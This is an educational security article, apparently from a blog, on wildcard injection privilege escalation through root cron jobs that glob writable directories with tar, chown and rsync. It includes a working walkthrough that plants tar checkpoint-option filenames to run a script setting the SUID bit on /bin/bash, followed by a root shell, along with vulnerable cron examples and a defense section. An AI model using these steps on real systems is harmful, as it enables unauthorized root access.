Wildcard Injection on Linux: tar, chown, and rsync Pitfalls

Wildcard Injection on Linux: tar, chown, and rsync Pitfalls - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Wildcard injection is a class of Linux privilege escalation and command injection that has nothing to do with a memory-safety bug or a missing authentication check — it is a shell expansion quirk. When a script or root cron job runs a command like tar czf backup.tar.gz * inside a directory an attacker can write to, the shell expands * to a sorted list of filenames *before* the program ever sees it, and several common Unix tools (tar, chown, rsync, zip) interpret filenames starting with a hyphen as command-line options. An attacker who can drop cleverly named files into that directory can smuggle option flags — including ones that execute arbitrary commands — into the invocation without ever touching the script itself.

This matters because the vulnerable pattern is extremely common: backup scripts, log rotation, cleanup jobs, and ownership-fix routines are exactly the kind of “boring” automation that gets written once, run as root via cron or a systemd timer, and never revisited — while the directory they operate on is often writable by the very users or services being backed up or cleaned up. It requires no exploit development at all, just an understanding of argument parsing and shell glob-expansion order, which is why it remains a staple finding in Linux privilege-escalation checklists.

Attack Prerequisites

Wildcard injection requires a specific, checkable combination of conditions:

  • Write access to a directory that a privileged (often root) job later operates on using an unquoted glob (*, ./*, dir/*).
  • The privileged job invokes a tool vulnerable to option injection via filenamestar, chown/chmod (-R), rsync, and zip are the classic offenders because each has an option that leads to code execution or a dangerous side effect.
  • No -- argument terminator and no explicit path prefix (e.g. ./* at minimum stops leading-dash filenames from being parsed as options in some tools, though not all).
  • Knowledge of, or the ability to discover, the exact command line used — visible in the cron table, a systemd unit’s ExecStart=, or a world-readable script.

How It Works

The vulnerability lives entirely in the order of operations the shell performs before the target program even starts. bash expands an unquoted * glob to a sorted list of matching filenames in the current directory, and that expansion happens as plain word-splitting: the shell has no concept of “this is a filename, protect it from being interpreted as a flag” — it hands the resulting words to execve() as an ordinary argv list. Because glob results sort lexicographically and a leading hyphen sorts before alphanumeric characters, an attacker can guarantee their crafted, option-like filenames appear early in the expanded argument list.

tar is the canonical example because two of its options are directly dangerous: --checkpoint=1 and --checkpoint-action=exec=<cmd> together make tar execute an arbitrary command during archiving, and both can be smuggled in purely as filenames matched by the glob. chown -R and rsync have their own variants — rsync‘s -e/--rsh lets the caller specify the remote-shell command, so a filename like -e sh\ shell.sh injected into an rsync invocation that globs source files can substitute an arbitrary command for the ssh transport rsync would otherwise use.

None of this requires cooperation from the tool’s actual functionality — it exploits the *ambiguity between “this is data” and “this is an option flag”* that exists any time a program’s argument parser treats any leading-dash token as an option rather than as positional data, combined with a shell that performs glob expansion with no filename/flag distinction.

Vulnerable Code / Configuration

The enabling configuration is a root cron job or systemd timer that globs a directory writable by a lower-privileged user or service:

# /etc/cron.d/nightly-backup — VULNERABLE
0 2 * * * root cd /var/www/uploads && tar czf /backup/site.tar.gz *
TEXT
$ ls -ld /var/www/uploads
drwxrwxr-x 2 www-data www-data 4096 ... /var/www/uploads   # writable by www-data
# 'www-data' compromise (e.g. via a file-upload bug) is now enough
# to reach a ROOT-run tar invocation on this directory.
Bash

A chown -R cleanup routine over an attacker-writable path is the same flaw applied to ownership rather than archiving:

# /etc/cron.d/fix-perms — VULNERABLE
*/30 * * * * root cd /srv/uploads && chown -R www-data:www-data *
TEXT

Walkthrough / Exploitation

Given write access to /var/www/uploads and knowledge that a root cron job archives it nightly with tar czf ... *, plant filenames that tar will parse as checkpoint options rather than as archive members:

cd /var/www/uploads
echo '#!/bin/sh' > shell.sh
echo 'chmod u+s /bin/bash' >> shell.sh
chmod +x shell.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
Bash

When the sorted glob expands (--checkpoint=1 and --checkpoint-action=... sort ahead of ordinary filenames due to the leading hyphen), the resulting root-run command becomes equivalent to:

tar czf /backup/site.tar.gz --checkpoint=1 \
  --checkpoint-action=exec=sh\ shell.sh shell.sh --checkpoint=1 ...
# tar executes 'sh shell.sh' as ROOT during the checkpoint action
Bash
# after the next cron fire:
ls -l /bin/bash   # now -rwsr-xr-x root root  (SUID bit set)
/bin/bash -p      # effective root shell
Bash

The rsync variant follows the same pattern by planting a filename that injects the -e remote-shell flag when a privileged job globs source files for a remote sync, and chown -R * can be abused with a crafted --reference=/some/root-owned/file style option-filename where the goal is altering ownership rather than code execution.

Note: Prefixing the glob with an explicit path (./* instead of *) defeats this specific technique for tar because GNU tar (and most tools) only treat a token as an option if it starts with a literal -, and ./ breaks that; unquoted * alone is the actual bug. Always check which exact glob form the vulnerable script used before assuming a fix is or is not present.

Opsec: Filenames like --checkpoint-action=exec=sh shell.sh are unusual and stand out immediately to a human reviewing ls -la output or a file-integrity alert on the directory; this technique is best understood as a config-hygiene gap rather than a stealthy one, and detection is more about catching the resulting root-owned SUID bash or unexpected child process of tar/chown/rsync than about the filenames themselves.

Detection and Defense

The fix is almost entirely in how the privileged script is written, not in restricting the directory’s legitimate write access:

  • Never glob a directory writable by a lower-privileged principal in a privileged job. If the directory must remain writable, do not run root automation directly against it with an unquoted *.
  • Always insert -- before the glob so the tool treats everything after it as positional filenames, never as options: tar czf out.tar.gz -- *.
  • Prefix the glob with an explicit path (./* or /var/www/uploads/*) so leading-dash filenames can no longer be mistaken for flags by tools that check for a literal leading -.
  • Use find ... -print0 | xargs -0 with an explicit -- instead of a bare shell glob for anything privileged and scriptable.
  • Monitor for unexpected child processes of tar, chown, rsync, and zip — a sh/bash child spawned by tar is never normal and is a high-confidence detection with auditd‘s execve logging or any process-tree-aware EDR.

Real-World Impact

Wildcard/argument injection in tar, chown, rsync, and zip is a long-documented technique referenced by GTFOBins and standard Linux privilege-escalation methodology (it is a routine check in tools like LinPEAS, which specifically flags cron jobs and scripts that glob attacker-writable directories). It remains common in practice precisely because backup and permission-fix scripts are written once by an administrator, rarely security-reviewed afterward, and frequently operate on shared upload or web-content directories that are, by necessity, writable by a lower-privileged application user.

Conclusion

Wildcard injection turns an unquoted * in a privileged script into full command execution or ownership manipulation, using nothing more exotic than sorted glob expansion and a tool’s own option parser. Audit every root cron job and systemd timer that operates on a directory writable by a less-trusted principal, insert -- before every glob in privileged automation, and treat unexpected shell children of tar/chown/rsync as a concrete, actionable detection signal.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL